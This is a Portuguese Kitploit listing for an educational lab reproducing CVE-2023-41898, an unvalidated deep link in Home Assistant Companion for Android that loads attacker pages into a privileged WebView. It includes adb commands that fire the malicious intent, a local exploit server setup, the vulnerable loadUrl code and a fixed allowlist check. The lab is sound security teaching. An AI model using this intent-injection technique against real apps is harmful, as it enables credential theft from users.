Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-41898_Lab — Percorra o CVE-2023-41898: explore um deep link não validado no Home Assistant Android para carregar URLs arbitrárias em um WebView privilegiado e vazar um token falso. | Kitploit
Ferramentas/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Segurança AndroidAnálise de VulnerabilidadesPentesting de Apps MóveisAprendizado e EducaçãoLabs e Prática
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

Percorra o CVE-2023-41898: explore um deep link não validado no Home Assistant Android para carregar URLs arbitrárias em um WebView privilegiado e vazar um token falso.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
3há 1 mêsAinda não revisado

Lab de Deep Link Não Validado CVE-2023-41898

Lab educacional de reprodução reduzida criado com base no relatório público de vulnerabilidade (GHSL-2023-142) do Home Assistant Companion for Android e na estrutura de código aberto da versão vulnerável 2023.8.2.

Não utiliza servidor, conta ou tokens reais do Home Assistant. Expõe apenas um token fictício fixo chamado LAB_TOKEN_CVE_2023_41898_NOT_REAL.

Visão geral da vulnerabilidade

  • Alvo: Home Assistant Companion for Android
  • Versões afetadas: anteriores a 2023.9.2 (de acordo com o aviso oficial)
  • Versão corrigida: 2023.9.2
  • Classificação: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • Resultado: execução arbitrária de JavaScript, invocação de funcionalidades nativas limitadas e possível roubo de credenciais

Estrutura do Lab

root@kitploit:~
Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 검증 없이 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 공격자 페이지에 externalApp JavaScript bridge 노출
  ▼
가상 LAB_TOKEN 표시

O intent-filter do Android manifest apenas define quais URIs correspondem a Intents implícitas; ele não valida automaticamente a URI de dados de uma Intent que especifica explicitamente um componente.

Componentes

  • victim/: aplicativo que reproduz o handler de deep link vulnerável e a WebView privilegiada
  • attacker/: aplicativo que envia uma Intent explícita para a Activity exportada do aplicativo vítima
  • web/: páginas de ataque de estágio 1 e 2 servidas localmente
  • dist/: APK de depuração validado
  • UPSTREAM.md: correspondência entre o código-fonte original e a implementação do Lab

Build

Requisitos: JDK 17 ou superior, Android SDK 36, cache do Gradle/Android Gradle Plugin ou conexão com a Internet.

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

Instalação e prática

Execute somente em um emulador autorizado ou em um dispositivo de teste.

1. Instalação dos APKs

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. Executando a página de ataque local

Na raiz do Lab, execute o seguinte comando:

root@kitploit:~
python3 -m http.server 8000 --directory web

No emulador padrão do Android Studio, 10.0.2.2 aponta para o loopback do PC host. Se estiver usando um dispositivo de teste físico, altere web/exploit.html e a URL do aplicativo atacante para o IP de LAN do PC.

3. Verificando o fluxo do ataque

  1. Instale os aplicativos CVE-2023-41898 Victim e CVE-2023-41898 Attacker.
  2. Execute o servidor HTTP local.
  3. No aplicativo Attacker, toque em Executar fluxo de deep link vulnerável.
  4. A primeira página de ataque navega para a URL interna homeassistant://navigate/.
  5. Verifique se a página do atacante é carregada na segunda WebView e se LAB_TOKEN_CVE_2023_41898_NOT_REAL é exibido.

Você também pode chamar o primeiro estágio via ADB, sem o aplicativo atacante.

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

Código vulnerável e direção da correção

A implementação vulnerável carrega a URI externa diretamente.

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

Na correção, o scheme, host, porta e caminho da URI analisada devem ser validados contra uma allowlist estrita. Não use comparações de string com startsWith, pois há risco de bypass via informações de usuário ([email protected]), subdomínios e codificação.

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

Além disso, remova JavaScript desnecessário e JavascriptInterface da WebView e aplique a mesma validação de URL a toda navegação e redirecionamento.

Escopo de segurança e diferenças do original

  • Não compila o aplicativo original inteiro; reproduz apenas o fluxo de dados vulnerável em um pequeno projeto Java.
  • Não inclui o nome real do pacote, o armazenamento de autenticação, a comunicação com o servidor nem os recursos de casa inteligente.
  • Usa apenas um token fictício fixo em vez de tokens de autenticação reais.
  • Usa apenas o servidor HTTP local do PC host, e não um servidor de ataque na Internet.

Referências

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Aviso de segurança do Home Assistant GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • Tag de código-fonte da versão vulnerável 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
Baixar ferramenta